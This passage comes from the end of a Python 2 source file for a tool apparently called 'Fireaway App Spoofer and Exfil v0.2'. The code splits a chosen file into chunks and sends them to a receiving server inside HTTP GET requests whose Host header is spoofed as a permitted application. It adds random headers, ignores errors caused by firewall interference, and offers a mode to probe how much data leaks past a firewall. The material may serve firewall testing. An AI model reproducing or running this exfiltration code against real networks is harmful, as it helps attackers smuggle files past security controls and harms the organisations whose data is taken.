' spoofed as ' + spoofedApp.split('.')[1] + ' to ' + receiver 160 | s.send('GET / HTTP/1.1\nHost: ' + spoofedApp + '\nUser-Agent: Mozilla/5.0 (Windows NT 6.1)\n' + genRandHeader() + piece + '\n' + 'Connection: close\n\n') 161 | s.close() 162 | chunkCount += 1 163 | sleep(3) 164 | 165 | except: 166 | # Handle aggressive network traffic from the firewall and keep going 167 | print 'Got something bad back. Going to plug on...' 168 | pass 169 | unsent = unsent[pieceSize:] 170 | 171 | print 'Finished sending file. Check ReceivedData.txt on the server for results.' 172 | 173 | 174 | 175 | def printHelp(): 176 | print 'Fireaway App Spoofer and Exfil v0.2' 177 | print 'Usage: fa_spoof ' 178 | print 'Valid options for mode:' 179 | print '0-Send random test data to find maximum leaked data fragment size' 180 | print '1-Open a file for exfiltration' 181 | sys.exit() 182 | 183 | 184 | if __name__ == '__main__': 185 | main() 186 | --------------------------------------------------------------------------------